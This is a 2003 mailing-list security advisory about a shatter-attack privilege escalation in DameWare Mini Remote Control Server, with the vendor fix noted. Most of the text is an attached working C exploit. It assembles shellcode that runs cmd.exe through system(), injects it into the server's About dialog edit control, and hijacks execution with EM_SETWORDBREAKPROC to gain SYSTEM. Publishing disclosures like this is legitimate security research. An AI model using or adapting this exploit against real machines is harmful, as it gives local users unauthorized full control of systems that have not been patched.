Message-ID: <20030813084641.GA2272@felinemenace.org>
From: ash at felinemenace.org (ash@...inemenace.org)
Subject: DameWare Mini-RC Shatter

Program: DameWare Mini Remote Control Server
Version: Prior to 3.71.0.0
Impact: Users can escalate to SYSTEM
Discovered: ash
Writeup and exploits: ash

1) Background

   From DameWare Development web site:
   A lightweight remote control intended primarily for administrators
   and help desks for quick and easy deployment without external
   dependencies and machine reboot. Developed specifically for the 32 bit
   Windows environment (Windows 95/98/Me/NT/2000/XP), DameWare Mini Remote
   Control is capable of using the Windows challenge/response authentication
   and is able to be run both as an application and a service.
   Some additional features include View Only,Cursor control, Remote
   Clipboard, Performance Settings, Inactivity control, TCP only,
   Service Installation and Ping.

2) Description

   DameWare Mini Remote Control Server runs on the users desktop as SYSTEM.
   This is vulnerable to a shatter style attack.
   See below for a fix that resolves all currently known issues.

3) Notes

   As a guest user exploitation results in

   F:\Program Files\Resource Kit>WHOAMI.EXE
   NT AUTHORITY\SYSTEM

   This type of vulnerability requires some access to a desktop
   with DameWare server running.

   This is a local privalege escalation vulnerability.

   Proof of concept code to exploit this vulnerability is attached.

4) Detection

   Check your process list for DWRCS.exe running as SYSTEM
   Check the version.

5) Vendor status/notes/fixes/statements

   Dameware Development has repaired all current known vulnerabilities.

   Dameware Development will continue researching and developing alternate
   development methods to ensure their software remains secure.

   A fix is available from Dameware Development by downloading version
   3.71.0.0 or later from their website.[1]


References:

http://www.dameware.com/download

-------------- next part --------------
/*

	Shatter attack exploit for DameWare Mini Remote Control Server
	by ash@...inemenace.org
	
	see associated advisory
	
	This code is based on shards.cpp by xenophile

*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma warning(disable: 4305)
#pragma warning(disable: 4309)
void MakeShellCode (char *buffer)
{
HMODULE hCRT;
void * lpSystem;
int count=0;

while (count < 36)
{
buffer [count] =0x90;
count ++;
}

buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
buffer[76]=0x65;

hCRT = LoadLibrary("msvcrt.dll");
lpSystem = GetProcAddress( hCRT, "system" );
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem) [0];
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
) ;

printf("%s\n",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "\nfm-shatterdame.c\nash@...inemenace.org\n" );
printf("--------------------------------------------------------------\n");
printf("Exploits shatter attack in DameWare Mini Remote Control Server\n");
printf("This is based on shards.cpp written by xenophile.\n") ;
printf("--------------------------------------------------------------\n");
printf(
"STEP 1: Finding our window!\n"
) ;



hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

	printf("Couldn't find the dameware about dialogue. Open it and re-run this\n");
return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("\tCouldn't find child edit control window\n");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"\n\nSTEP 2: Enter shell code address. "
"This can be found using a debugger."
) ;
printf( "\nOn my XP SP1 machine 0x160000 worked.\n" );

printf( "\n\nEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L, (LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );

return 0;
}

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